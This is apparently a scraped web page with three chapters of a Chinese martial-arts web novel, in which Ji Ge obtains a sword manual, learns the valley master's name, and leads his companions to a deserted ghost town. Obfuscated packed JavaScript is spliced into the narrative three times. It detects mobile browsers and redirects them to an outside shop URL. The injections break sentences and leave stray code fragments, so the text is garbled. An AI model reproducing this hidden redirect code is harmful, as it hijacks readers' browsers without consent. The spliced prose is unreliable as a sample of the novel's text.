侍女推着轮椅,缓缓向前。季歌见她又要走,忙道:“谷主,您答应了我的请求,还没说想让我做什么呢?” 女子坐着轮椅,边走边道:“如今谷中家丁众多,足够使唤,我一时也想不起来有何事要你代劳,等什么时候想起来了再说。到时候,你可得随叫随到,任劳任怨,没有怨言。” 季歌道:“那是自然。谷主若能帮我洗清身上冤屈,便是我的恩人,别说一件两件,就是做十件八件也不在话下。” 女子没有作声,坐着轮椅继续向前。季歌见她态度缓和,语气也不似方才那般冰冷,想起一事,追上前道:“谷主,在下此番前来还有一事,也与江家灭门案有关,不知谷主愿不愿意听。” 侍女一听,怒从中来,停下轮椅,转向季歌道:“你别得了便宜还卖乖!我们谷主已经帮了你一件事了,你还蹬鼻子上脸的,想做什么!” 女子听她出言无状,轻轻斥道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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女主转眸看他,道:“他二人没有完成任务,为何前来求情的是你?”语声恢复了先前的冰冷淡漠。 季歌扶了扶额,道:“谷主有所不知,上次离谷的时候,在下曾答应替他二人取到江家的楼兰明珠。如今江家惨遭灭门,虽不是在下所为,但也有在下办事不力的因素。答应了别人的事,总得办到。如今他二人事未竟,无论权责还是道义,都该由在下替他二人取到这部十字斩的刀谱。” “如今我身陷囹圄,蒙受不白之冤,一时半会儿也找不到凶手,查不清灭门案的真相,那楼兰明珠更是无从得手。还望谷主看在我一片赤诚的份儿上,看在我一心向着您的份儿上,将十字斩的刀谱赠予他二人吧,也当全了小的这份兄弟情义。日后您若有什么事,请尽管开口,我上刀山下油锅也要给您办到!” 他说这几句话时义正言辞,慷慨激昂,面不改色,倒有几分谷主赠予十字斩的刀谱是理所应当似的。 女子看着他道:“没想到季少侠还是个慷慨仗义,极重兄弟情义之人,倒让我有些刮目相看了。”语声中带着微微冷笑。 季歌搔了搔头,道:“这不是为了兄弟抛头颅洒热血,两肋插刀嘛,都是应该的。”说话语气极不好意思。 女子看着他,凝肃的眉宇间倏尔变得淡然柔和,似乎面纱下的面色从容了不少。她深吸口气,道:“也罢,那便赏了吧,省得这两个讨厌鬼日后纠缠于我,天天来谷中闹事。”说着拍了拍冷言的手,“推我回去吧。” 季歌见她答应,心中感激,连忙作揖道:“谷主心地纯善,日后定会一生顺遂,洪福齐天,所谓吉人自有天相。” 轮椅缓缓向长廊那头驶去。眼看轮椅行至转角处,即将离开视线,季歌突然叫道:“方才心急,忘了询问谷主芳名,不知谷主可否告知?” 女子不答,坐着轮椅缓缓远去,转眼身形消失于长廊尽头。季歌见她径直走了,心中又是迷茫又是失落,低下头来,正感郁闷,忽然前方远远传来一声极清极淡的声音,道:“免贵姓冷。” 季歌蓦地抬眼,心底微微震颤。 “冷。” 他心里想:“真是一个很冷的姓。” 32. 暗流涌动 季歌从庭院回到藏书阁,野郎中已在此等候了。 见他进来,野郎中从书架上取下一本秘籍,递给他,道:“谷主不喜外人知道她的身份,故此一直让汤管家代为出面,此事望你保守秘密。这样对你,对她,都好。” 季歌心想既然谷主有心隐瞒,定然有她的用意,我又何必强出头,便道:“既是谷主的意思,在下定当守口如瓶,绝不对外透露半分。”接过秘籍,看了一眼,是十字斩的刀谱。 野郎中点了点头,道:“眼下你那几个伙伴恐怕已经等候多时了,再不走倒显得我们把你扣下了,还请少侠移步出谷。” 季歌听他这么说,连忙欠了欠身,从藏书阁出来。 在醉仙亭休息的三人见他出来,纷纷站起身来。灵甜率先冲过来,一把将他抱住,哭道:“季哥哥,我还以为你遭了什么事儿了,教人好是担心。” 季歌摸摸她的头,温声道:“放心,我能有什么事,那谷主又不是坏人。” 孟浪走过来,粗声粗气道:“怎么样,方才什么情况?” 转眼瞥见季歌手中的刀谱,登时两眼放光,道:“你把这个都搞到了,可以啊。”劈手夺过,快速翻阅起来。 张衡过来将孟浪手中的秘籍粗略瞧了一眼,向季歌道:“没事吧,那老谷主没有为难你吧?” 季歌摇了摇头,道:“我没事,多谢张兄关心。” 顿了顿,“不过这趟没算白来,我探听到了江家灭门案的一点眉目。” 张衡忙道:“什么眉目?” 季歌环视四周,道:“这谷底离奇古怪,诸多诡异,耳目众多,还是出去再说吧。” 三人当即离开醉仙亭,向竹林外走去。边走季歌边向孟浪张衡讲述自己在藏书阁和后院见到老谷主的遭遇,并添油加醋说正是因为自己在藏书阁击溃了箭弩,脱险而出,老谷主赞赏他有一身好武艺,又见他果敢诚毅,对朋友仗义赤忱,很是欣赏,这才决定将十字斩的刀谱赠予孟张二人。 孟浪只听得笑不拢嘴,边看剑谱边道:“好小子,真有你的。” 灵甜心里也乐开了花,心想自己的季哥哥真乃不世出的少年英雄,沿途一直搂着他一条手臂,要他将自己如何击退藏书阁的那些箭弩,又是如何与那老谷主一番周旋博弈的细节详细讲与她听。 于是季歌开始了新一轮的添油加醋和连哄带骗。只把灵甜和孟浪听得乐呵呵的,好不快活。唯有张衡默默地跟在身后,一言不发。偶尔听得一两句编得太过离谱,唇角还会浮现出玩味的笑意。 四人从溜索下来。出了落霞山,远远见得茅草屋就在前面,孟浪道:“那姓宋的小子肯定还在里面,我去叫他。”大步上前。 季歌担心他行事鲁莽,冲撞了宋游,忙道:“孟兄,还是我去吧。”快步追上,拦在前面。及至茅草屋前,他深吸口气,敲了敲门,没有动静。屏住呼吸,又敲了两下,还是没有动静。 正待再敲,这时孟浪大跨步上来,抬起脚,将门直接踹开,却见茅草屋内空空荡荡,绳床瓦灶,一个人也没有。 孟浪道:“看吧,我就说这人不靠谱。要走连声招呼都不打,怪物一个。” “虽说那银丝山庄在江湖上也不算没名没姓,可我们霹雳帮从来不跟他们打交道。哼,银丝,阴私,听着就不是什么正经生意,不消说,干的肯定也都是些卑鄙龌龊,见不得人的勾当。” 灵甜啐道:“就是!从看他第一眼起,我心里就各种不舒服,说话还总阴阳怪气,拿腔拿调的,讳莫如深,教人讨厌!”说着一拽季歌的手,道:“我们不等他了。” 季歌把她拽住,道:“还是等一下吧,万一回来了,又找不到我们了。游弟定是被什么事绊住了脚,等到处理完一定会回来找我们的,我看他不是言而无信之人。” 孟浪哼道:“那谁知道,你跟他认识才几天,你又知道他是什么样的人。” 说话间却见张衡始终低着头一言不发,用鞋碾着地上的碎石子,便道:“三弟,你什么意见,倒是说句话啊!” 张衡这才抬起头来,幽幽的道:“要我说,还是等一等吧,宋游兄弟指不定遇到了什么难处,要是我们走了,他回来寻不到我们,倒显得是我们的不是了。” 季歌忙道:“没错,我也觉得还是等一等的好。再说,孟兄,你别忘了只有他可以带我们去找喻理,既然约定好了在此相聚,扔下他一人,岂非不义?” 孟浪正待说话,忽然身后传来一个声音道:“季少侠如此坦诚仗义,真教人感动。”伴随着鼓掌声音。 回过头一看,却是宋游回来了。 宋游在门前站定,目光在四人脸上逡巡而过,最后幽幽的转向季歌,道:“在下方才去解了个手,没耽误各位什么事儿吧?” 季歌忙道:“没有,我们也是刚下山。” 宋游目光微微一收,道:“那就好。” 孟浪与灵甜不约而同地翻了个白眼。 季歌瞧见,轻轻一咳,道:“游……宋游兄弟,这沐恩谷已经去过了,下一步的计划是什么,你打算带我们去哪里找喻理?” 宋游眸光一冷,道:“鬼镇。” “鬼镇?!” 孟浪惊叫出声。宋游瞥他一眼,道:“害怕可以不去。” 孟浪撑直脖子,道:“谁害怕了?老子七尺男儿,会怕这个?”顿了顿,“就怕你小子是信口胡说,不敢带我们去!” 宋游一声冷哼,没有说话。 受孟浪提醒,季歌这才想起他兄弟二人已拿到了十字斩的秘籍,似乎已没有与己同行的必要,于是道:“孟兄张兄,你我当初共赴黔南江家,本就是为了那本十字斩。如今十字斩的秘籍已经到手,为弟心愿已了,往后前路漫漫,便不劳烦二位兄弟费心了,我们就此别过。” 说着向孟张二人拱了拱手。 孟浪一听他要辞行,当即把脸一沉,愠道:“小子你这是啥意思?该不会是嫌我们哥俩多余碍事儿,要赶我们走了?!” 宋游道:“没错,他正是此意。” 季歌忙道:“游弟莫要玩笑。”扶了扶额,正不知该如何解释,孟浪将他瞧了一眼,又将宋游瞧了一眼,忽然道:“我知道了,你定是与这阴私山庄的小矮子在暗中密谋着什么,怕我们哥俩知道,坏了你的好事儿。” 季歌再度扶额,张衡忙道:“二哥,过分了,季兄弟不是那个意思。” 他语声温和:“季兄弟定是觉着江家灭门一案与咱兄弟无关,担心此事牵扯到咱俩,又觉前路太过危险,咱兄弟俩跟着不太妥当,也不放心。” 孟浪一听,两眼瞪如铜铃,道:“有何不放心的,难道我们哥俩离开你的视线,你就放心了?” 说着盯着季歌,道:“别说你帮我们哥俩拿到了十字斩的秘籍,就是没有,我们哥俩也早把你当成了兄弟,兄弟有难,做哥哥的岂能袖手旁观?” 说着一拍胸脯,道:“我孟浪别的不行,对兄弟那是一个赴汤蹈火,在所不辞。搁半路把兄弟一个人撂下,我成什么人了我!” 季歌还待解释,孟浪已摆摆手道:“甭废话了,你不就是怕我们哥俩心中生了别的念头,不想参与江家灭门的事了,也不想陪你去找那喻理了,害怕惹祸上身……” “我……我没有。” 季歌听他将自己一番好心想成这样,连忙否认:“我……我是担心贵帮诸事繁多,二位帮主一直随我游离在外,” 孟浪觑他一眼,道:“既然不是,那便让我们跟着你。我们哥俩虽然没什么鸟用,武功也不行,但至少多一个人是一分力,有总比没有强,人多力量大嘛。” 张衡也道:“没错,多一个人便多一个帮手。再说,季兄弟你一路跋山涉水,千里迢迢地带我们去了江家,才因此背上了灭江家满门的冤屈,这等境况下,我们兄弟俩怎能抛下你独自回霹雳帮去?再说,那十字斩本与你无关,你是仗义相助,才会惹上这等祸端,我们又岂能置之不理?” 孟浪道:“是啊,眼下你又帮我们拿到了十字斩的刀谱,义字当头,无论情理,我们哥俩都该帮你洗清身上的冤屈,查清江家灭门一案。” 季歌见他二人语气坚决,想来心中主意已定,尽管心里各种为难,面对这般真情厚意,也难以拒绝。思考再三,终是道:“那便一起吧,二位哥哥帮小弟洗清身上的冤屈,小弟则一路保护二位哥哥周全,如何啊?” 孟浪见他答应了,抱起手臂,嘟囔道:“这还差不多。” 宋游听到这里,忽然发出一声怪笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468438|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟浪冷眼睨他,道:“你笑什么?” 宋游抱起手臂,阴恻恻道:“自然是笑你们三兄弟情深似海喽!” 季歌听他语带嘲讽,担心是自己冷落了他,伸出手臂,搂住他的肩,道:“游弟,你也是我们的兄弟。” 宋游卸肩避开,道:“谁跟你是兄弟,好好说话。” 季歌尴尬地将手收了回来,顺势挠了挠后脑勺。 孟浪见这个小矮子竟公然在自己的眼皮子底下让自己的好兄弟难堪,心头火起,冷嘲热讽道:“小子,你就好好羡慕去吧,谅你也没有这样的好兄弟。” 嘴上这么说,心里却想:“等着瞧吧,这一路有你好受的。” 宋游没有理他,转身出去。 季歌顿觉头大,心想他三人不合,这一路可是有的劝了,连忙跟了上去。 二人肩并肩默不作声走了一段,宋游忽然道:“季兄弟此番去沐恩谷,可有何收获?” 季歌听他语气似乎比方才缓和了不少,忙道:“实不相瞒,那谷主给我提供了一个线索。” 宋游看了他一眼,道:“什么线索?” 季歌道:“望海潮。” 宋游眉尖一蹙,道:“望海潮?” 季歌见他脸现迷惘之色,问道:“宋游兄弟可知望海潮是什么?” 宋游不答反问:“季兄没有听说过望海潮?” 季歌摇了摇头,道:“没有听过。只听那谷主说,望海潮是一个消失了十多年的江湖组织,想来那时候我小,不知道也是正常。”说到这里,心里却觉奇怪:“游弟比我还小,何以他便知道?”转念一想,旋即明白:“也是,他是银丝山庄的人,银丝山庄专干这个,知道也是正常。” 宋游看着他,满脸疑惑道:“季兄当真没有见过,也没有听过?” 季歌见他还是不信,心想:“难道是我记漏了?”一阵绞尽脑汁,苦思冥想,发现确实不知,于是摇了摇头,道:“确实没有见过,也没有听说过。”心想:“他为何执意这么问,为何和那谷主一个话由,难道这中间有什么不对?”于是道:“宋游兄弟,这中间有什么问题吗?” 却见宋游注视着自己,不答反问:“就算你不记得,难道令尊令堂从来没有对你提起过此事?” 季歌见他这么问,心想:“父亲母亲为何要对我提起望海潮,难道其中有何干系,或是望海潮与我们问心剑派有何瓜葛?”一阵搜肠刮肚,发现确实没有,继续摇头道:“没有。” 孟浪接话道:“那倒是有些奇怪,那望海潮是个邪教组织,当年叱咤武林,我都知道。” 季歌心想:“我从小在山上看了不少江湖野史轶闻,怎么从来没听说过这望海潮?”转念想起那冷谷主在谷中的一番话语,心想:“是了,江湖上有关望海潮的记载极少,兴许是因为这个,衡山的藏书阁里也一样没有望海潮的记载。只是不知江湖人刻意抹去有关望海潮的记载,到底是何原因,望海潮的背后又有何猫腻?” 于是道:“兴许是孟兄年纪大了些,对这些江湖旧事有所耳闻。”问道:“宋游兄弟,那沐恩谷的谷主说顺着望海潮这条线便能找到喻理,这是何意?” 宋游疏离的目光从他脸上移开,道:“当年望海潮内有一位潮主,两位副潮主,喻理便是其中一位副潮主。找到望海潮的所在,顺藤摸瓜便能找到喻理,她应该是这个意思。” 季歌皱了皱眉,道:“可这望海潮已经在江湖上消失了十年,该上哪儿找呢。” 宋游面无表情道:“所以我才说要带你们去鬼镇。” 季歌看着他,目露不解。 宋游叹气道:“喻理的乳母鬼姥姥就住在鬼镇,我们找她一问便知。” 季歌皱眉道:“那喻理看着已有五十,他的乳母少说也年逾古稀,难道她会知晓喻理的下落?或是……喻理也和乳母住在鬼镇,找到奶娘便找到了喻理?” 宋游摇了摇头,道:“喻理乃一江湖游侠,一向来无影去无踪,无人知道他的所在,他自然也不会住在鬼镇。不过通过乳母可以了解到他的行踪,有助于我们快速找到他。” 季歌听他语气笃定,心中已信了几分,问道:“怎么找?” 宋游看他一眼,道:“去了你就知道了。” 33. 暗流涌动(2) 季歌不说话了。二人肩并肩又默默走了一会儿,宋游忽然道:“季兄,你对那沐恩谷的谷主什么看法?” 季歌没防他有此一问,怔了一怔,道:“你指什么方面?” 宋游道:“自然是为人处事方面。” 季歌这才想起宋游不知那谷主为女子,不由汗颜,想了想,道:“脾气有些古怪,举止也孤僻怪异,眼下还没有摸清她的路数。” “不过,我觉着她心地还算不错,还是愿意帮人的。” 宋游冷道:“你只见过她一面,她也只给了你望海潮这一个线索,你便觉着她心地不错。季少侠啊,你心思怎的这般单纯简单,她又不认识你,为何要无缘无故帮你,焉知不是借你之手行事,实则心中打了别的算盘?” 季歌叹道:“游弟啊,你看你的毛病又犯了,总是把别人想得过于复杂恶毒。那谷主之所以会帮我,是因为我答应了她一个条件。只要不违背侠义之道,对她的要求应做尽做,不然你当她为何要无缘无故帮我?” 宋游没有说话。 季歌看了他一眼,道:“我瞧着那谷主还算面善,不像是恶人,至少对我……还算客气。” 宋游冷道:“她并非对你还算客气,而是幽居谷中多年,孤苦寂寞,又长年与谷中的丫鬟老丈待在一处,难免心烦,第一次见到外界年轻男子,有些新鲜罢了。” 闻听此言,季歌蓦地停步,回眸看向他,道:“你怎知她是女子?” 宋游也停下来,与他对视,道:“我就是知道。”顿了顿,“你忘了我们银丝山庄是做什么的了?” 季歌道:“你们银丝山庄既然什么都知道,那这江湖上的其他人不也知道了?何以这谷主的真实身份仍是绝密?” 宋游面露不悦,道:“你当我们银丝山庄是没有节操的大喇叭?得了丁点消息就喜欢往外抖。” 季歌忙道:“没有没有,我不是这个意思,只是听宋游兄弟先前说法,似乎花钱便可以买到消息,想来谷主的身份自是可以用钱财买到的。” 宋游脸上的不悦更甚,愠道:“消息自然得用重金购买,不然我们生意还怎么做?” 季歌见他有些生气了,扶了扶额,道:“抱歉啊游弟,我这人不会说话,又有些口无遮拦,给你心里添堵了。” 宋游道:“你确实不会说话,也口无遮拦,这个毛病确实得改一改。” 季歌冷不防吃了一个钉子,心想:“我给你台阶下,你倒好,蹬鼻子上脸了,怎的这般不识抬举,难道江湖儿女都这样吗?” 他方才道歉并非本意,只因宋游脾气太过古怪,说话也夹枪夹棒,装了火药,十分呛人。季歌不想与他发生正面冲突,又想从他嘴里探听到更多消息,这才不得不耐着性子向他套话,屈就于他,实则心里早就忍不了了。 当下不客气道:“难道就从来没人找你买过那谷主的消息?” 似是听出了他语气中的不忿,宋游略略抬眼,睨了他一眼,道:“没有。” “江湖人对汤应寿的身份深信不疑。似乎世人普遍都这么认为,一个神秘诡谲的山谷里,身份各异的家丁环伺在旁,就该是一个上了年纪、老成持重的老头儿主事,任谁都不会想到谷主会是一个年轻貌美、体弱多病的女子。” 季歌听他语气有所缓和,心里的气儿顺了一半,但还是带着些微生气道:“他们不主动买,难道你就没想过主动卖?毕竟消息劲爆非常,只要传出去,便能价值千金。” 宋游道:“没有。” 季歌道:“为何?” 宋游再次睨了他一眼,道:“你当我们银丝山庄是见钱眼开,唯利是图之辈?什么买卖都做,一切向钱看齐?” 季歌直视着他,道:“难道不是吗?” 宋游胸脯微微起伏,被他气得不轻。 季歌心里暗爽。见他不说话了,又道:“不卖沐恩谷的消息总得有理由吧,为的是什么?” 宋游白了他一眼,道:“季兄外表看上去聪明伶俐,怎么就是听不懂话呢?” 见季歌不解,道:“还是之前的话,怕麻烦。沐恩谷的事儿对外抖落太多,对我们不利。” 闻言,季歌心里微微冷笑,心道:“原来也是欺软怕硬,看人下菜的主儿。得罪不起的就不越雷池半步,生怕引火烧身。得罪得起的就肆意买卖别人消息,不计后果,也不管当事人心里怎么想的,是否愿意。为达目的,不择手段,真是下作。” 心里想着,没有作声。 宋游听他发出冷笑来,却不说话,斜眼睨他,道:“季兄在想什么?”语气比方才缓和了许多。 季歌道:“游弟,既然我们现在已经是合作关系,你可否透露一下那位谷主的真实姓名,这应当不犯忌讳,也不会惹祸上身吧?”语气冰冷。 宋游看着他,眼中泛起一丝白色的涟漪,道:“我可以说,不过沐恩谷情况特殊,还望季兄为那谷主保守秘密,勿要随意向外泄露她的身份和名姓。” 季歌凉凉道:“放心,决计不会对外泄露半字,更不会给你们银丝山庄招来任何麻烦。” 嘴上这么说,心里却想:“我就算对外泄露了你又能怎?难不成还时时刻刻监视我不成?再说,那谷主的女子身份是我自己发现的,与你有何干系,我要想泄露,早泄露了,犯得着等到现在?” 宋游目不转睛地看着他,道:“那位谷主姓冷,名字唤作清溦。” “冷清溦?” 季歌重复了一遍,道:“名字比人还冷。” 这时孟浪三人从后面赶上来。经过二人身边时,见他二人静静地对视,不知在想些什么,也不知方才聊了些什么。只见季歌看向宋游时,一双桃花眼中脉脉含情,如有温水流动,灵甜心里顿生厌恶,轻轻斥道:“真讨厌!”径直从二人中间穿了过去。 孟浪道:“就是,讨厌!”紧跟灵甜,从他二人中间穿过去,大路朝天,径直向前走去。 季歌和宋游被他们这么一打断,略略缓过神来,俱都避开目光,不约而同地看向别处。张衡最后一个过来,见他二人神色间有些怪异,便一声不吭,绕了过去。 等到三人走出了一段距离,季歌转向宋游,道:“游弟,天色不早了,我们赶快走吧。最好赶在天黑前寻至一处市镇,去客栈打个尖儿。昨晚在车里睡了一夜,实在难受。” 宋游点了点头,没有说话。二人默不作声地向前走去。 走了一会儿,宋游忽然道:“季兄,我倒是很好奇,你是如何得知那位谷主的真实身份的,总不能是她自己告诉你的。” 季歌轻轻一笑,道:“上次去沐恩谷的时候,我看到孟夫子拿给孟张二人的十字斩秘籍上墨迹未干,显然是初初写就,且字体娟秀清雅,不像是男子笔迹,当时我便隐隐猜到了几分。” “我故意问那汤应寿谷中是否有女眷,汤应寿表现得十分错愕,显然没料到我会有此一问。后来,他递给我药膏时,我看到他双手布满老茧,显然是经常干粗活所致。” 说着他笑了起来,“试想偌大一个山谷,主人怎么会亲自干粗活以至于满手老茧呢?于是我悄悄留了一个心眼儿,临别的时候,我故意对他说希望下次能见到谷主真容,暗示他我已经知道沐恩谷的底细,从他当时的表情来看,我猜的没错。” 说着他看向宋游,道:“汤应寿显然是将此事告知了那位冷谷主,所以才有了今日之事。” 宋游莞尔一笑,道:“季兄果然聪慧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468439|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >季歌见他一张素淡平静的鹅蛋脸笑起来眉眼细长,十分好看,看着他,温声道:“游弟,这还是我自认识你以来,第一次见你笑。你要多笑一笑,笑起来好看。” 感受到季歌炽热的目光,宋游当即冷了脸色,一言不发地向前去了。季歌看着他的背影,心想:“怎么又生气了?”快步追去。 五人寻到马车时已是傍晚。众人纷纷上车,驾了车向临近的市镇赶去。及至一间最近的客栈,已是第二天凌晨。众人迷迷糊糊地从车上下来,进了客栈倒头就睡。 等到一觉醒来已是次日晌午,日上三竿。季歌连忙张罗大伙儿下楼吃饭。结果吃饭的时候,谁都不愿意和宋游坐一桌。等到饭菜上来,孟浪张衡灵甜不谋而合地围着一张四方桌坐下,身旁拉开一张空椅,明显是留给季歌的。宋游从楼上下来,经过他们三人的桌子,看也不看,便独自个儿走到角落里的一张桌前坐下。 季歌见他一个人孤零零地坐在角落里,站在两张桌子中间犹豫许久,终是抱着饭碗过去,在他对面坐下。灵甜与孟浪见状,立时大眼瞪起了小眼,表现得怒不可遏。 宋游听到动静,抬头看了他一眼,没有说话,继续闷头吃饭。 季歌同样看了他一眼,拾起筷子,夹起了桌上的饭菜。 谁都没有说话。 两人默默吃了半晌,宋游忽然道:“你怎么坐过来了。” 头也不抬。 季歌正在夹菜的筷子蓦地一滞,停在半空。他缓缓抬起眼来,看了宋游一眼。见他始终低着头,一颗一颗地拨拉着碗里的米饭,一怔过后,夹起一叶青菜,放入碗里。 “我喜欢和你聊天。”他道。 宋游抬眼看了他一眼,而后用勺子舀了一勺粥,放在嘴边吹了吹,道:“你不必可怜我,我从小就性子古怪,没什么朋友,也不招人待见。从小到大,这么多年都过来了,习惯了。” 季歌道:“你看你,又来了。” 宋游喝了一口粥,没有作声。 忽然,楼梯处传来噔噔噔的上楼声音,季歌抬眼,却是灵甜带着一身怨气上楼了,一碗粥都没有喝完。 宋游回头看了一眼,看向季歌,道:“还不赶紧哄你那小媳妇儿去。” 季歌勾唇一笑,道:“哄什么哄,小孩子一个,爱乱发脾气。” 宋游轻声道:“恐怕只有你将她当作小孩子。” 季歌不明所以,轻笑出声。 宋游看他一眼,道:“你笑什么?” 季歌舀着粥喝,道:“没什么,只是觉得我们五个个性完全不同的人聚在一起,一定非常好玩,日后行走江湖定然趣味颇多。” 宋游道:“是么,我没觉得。” 语气甚是轻慢。 季歌被噎了一嘴,没再吭气。默默喝了半晌粥,忽然想到两人这般面对面坐着吃饭,却一句话都不说,气氛如此微妙都没人肯开口递话,着实好笑,不由发出低低的笑来。 宋游听他又发笑了,抬眼看他,道:“你又在笑什么。” 季歌道:“认识了新朋友,高兴。” 宋游一怔,道:“说过了,不是朋友。” 季歌怪道:“怎么不是?” 宋游道:“你我认识不过数日。你不知我,我不知你,如何算得朋友?” 季歌懒懒道:“我喜欢一个人,认定了一个人做朋友,他便是我的朋友,管他愿不愿意。只要我心里当他是朋友就行了。” 宋游道:“你把别人当朋友,别人可未必这么想,岂不是自讨没趣?” 季歌道:“还是上一句。” 这下换宋游没话说了。 季歌坐在对面,瞧着他一张鹅蛋脸阵青阵白,心底暗暗发笑。 34. 森森鬼镇 吃饭中途,季歌见宋游胸脯上又淋了些许饭菜,心想:“待会儿还是给游弟买个围涎的好。”于是趁众人用完饭上楼收拾行李的空档,出了客栈,转到了集市上。 回来时,孟浪三人正往车上搬行李,唯独没有见到宋游。斜眼一瞅,发现他已在车上了。季歌跳上马车,一掀车帘,钻了进去。 宋游正在车里整理衣物,猛然间见他进来,不由吃了一惊。还没回神,就见他挨着自己坐下,两根手指头夹着一块半圆形的布片在他面前抖了两抖,眉开眼笑:“游弟,看我给你买什么好东西了。” 宋游将那块布瞅了一眼,皱眉道:“这是什么。” 季歌道:“围涎啊!”说着便往宋游脖子围去,“你快戴上试试,看看大小合不合适。” 宋游只觉莫名其妙,一把将围涎打掉,愠道:“我戴这个做什么,这是大人戴的吗!” 季歌见他突然出手,也有点莫名其妙。将围涎从地上捡起来,哄道:“大人也可以戴,买的就是大人的尺寸。” 宋游将那围涎斜斜一瞅,道:“季兄,请莫要再拿我开玩笑,否则我就真的生气了。” 季歌道:“游弟莫要多心,我并非恶意,只是看你吃饭容易弄脏了衣物,想着戴上比较好。” 宋游冷冷睨他一眼,道:“多谢季兄提醒,我以后注意点便是。” 顿了顿,“季兄若无别的事,烦请你带着你的围涎下车,这是我的马车。” 季歌还以为自己听错了。抬起眼来,见他表情严肃,眉目冷冽,不似玩笑。倒是自己,明明一番好心,却自讨没趣,突然觉得好没意思,犹豫片刻,终是阴沉着脸下车了。 孟浪装完行李,看到季歌一脸悻悻地从宋游车上下来,过来打趣道:“怎的,被赶下来了?” 季歌瞪他一眼:“咸吃萝卜淡操心。”向自己的马车走去,带着一身怨气上车了。 孟浪回过头来,故意很大力地在宋游的马车上拍了两拍,阴阳怪气道:“有些人啊,说话做事别太过分了,坐的还是别人的马车,鸠占鹊巢也没这样的。” 话音刚落,就听宋游坐在车里道:“张兄,赶车。” 果然接下来去鬼镇的路上,宋游吃饭再没有弄脏领口,比起先前的邋遢粗鲁,一下子变得斯文有礼,倒让季歌有些刮目相看了,心里喟叹:“人都说士别三日,游弟这都不用三日,一个围涎便能搞定,真是奇哉怪也。” 车行七日,渐渐驶入一片荒郊野岭。这野岭与黔南江家相似,只是比黔南更黑,气氛也更为阴森诡异。沿途但见寸草不生,马车经过之地净是泥泞土路,一个车辙印都没有,仿佛从来没有人来过。 见到眼前情状,车上五人俱都提高警惕,做好防备。这一路走来,一间客栈都没有见到,荒郊野岭又有不知什么东西在鬼哭狼嚎,听起来瘆得慌。众人也不敢在外面留宿,只管马不停蹄地向鬼镇的方向一路疾驰。 不知走了多久,到了后半夜,远远瞟见前方的黑暗里,一座隐秘阴森的庞然暗物出现,宋游放下车帘,向跟在后面的马车,道:“到了。” 众人从车上下来,燃起火把,举步向鬼镇行去。 与别的镇子不同,这座镇子从头到脚都透着一股阴湿鬼气,鬼气森森。所经之地,街道无不逼仄,弯弯绕绕,延伸至远方。 街道两侧,商铺鳞次栉比,一家挨着一家。有卖古董字画的,有开药铺的,有卖玉雕的,沽酒坊,绸缎庄,染坊……总之做什么生意的都有,好像十分热闹,又好像不那么热闹,甚至热闹中隐隐透着一股阴邪之气。 只因这些店铺早就没有了人在,一副破败不堪。门窗损坏,牌匾随意掉落地面,摔成几截,有的兀自斜斜挂在半空,摇摇晃晃,将掉不掉。 外面的桌椅板凳虽像平素摆放整齐,却都落满了灰尘,抬手一摸,上面的土厚厚一层。发黄发旧的酒旗,从酒庄里斜斜地挑出来,在夜风中吹得猎猎作响。 总之,整座镇子貌似还在正常运转,却因没有人打理,也没有客人到访,显得衰颓死旧。那些依稀如旧貌的摆设,无一不在勾起众人对昔日这座繁华市镇的无限遐想。 这时,众人心中才终于明白,为何这座镇子会被唤作鬼镇。 “亲娘嘞,这是什么地方?” 孟浪举着火把,边走边看。偶尔见到一两家感兴趣的商铺,还会凑上前去,就着火把细细照看。等到瞄见屋里一团黢黑,又会吓得脚步踉跄,退回众人身边。 季歌边走边心中疑团四起,见宋游一言不发地在前面带路,问道:“游弟,这里有多少年没住人了?” 宋游道:“很多年了,具体多久我也不清楚。因为没有人住,没有人气,整座镇子才显得鬼气森森,阴寒可怕。” 孟浪倒抽一口凉气,道:“为何没有人住?” “因为闹鬼。” 孟浪顿时打了个哆嗦。 说话间,已经过一间棺材铺。棺材铺前停放了一口很大的棺材,灵甜心下畏惧,紧赶两步,追上季歌,抱紧了他一条手臂。 季歌握了握她的手,道:“没事,游弟对这里熟悉,不会出什么事。” 宋游在前面听到,冷冷道:“话别说的太满,这地方我也是第一次来,一点都不熟悉,大家还是注意防备,顾好自己吧。” 话音刚落,就听什么地方传来一个极轻极细的声音。孟浪小声道:“你们听,什么声音。” 众人纷纷停步,竖起耳朵,倾耳细听。只听那声音说不准是什么,像是轻微的叩门声,又像是女子在夜里细细的嗓音吟唱。众人瞬间起了一身鸡皮疙瘩。 孟浪侧耳细听,道:“好像是从棺材那里发出来的。” 众人一听这话,眼光俱都瞟向那口静静停放在地上的黑色棺材。 灵甜浑身抖得筛糠似的,连忙抱紧季歌的胳膊,声音哆嗦道:“我们还是走吧,好害怕,季哥哥。” 季歌双目紧盯着前方,一副严阵以待。他握了握灵甜的手,发觉触手冰凉,温声道:“别怕,有我在。” 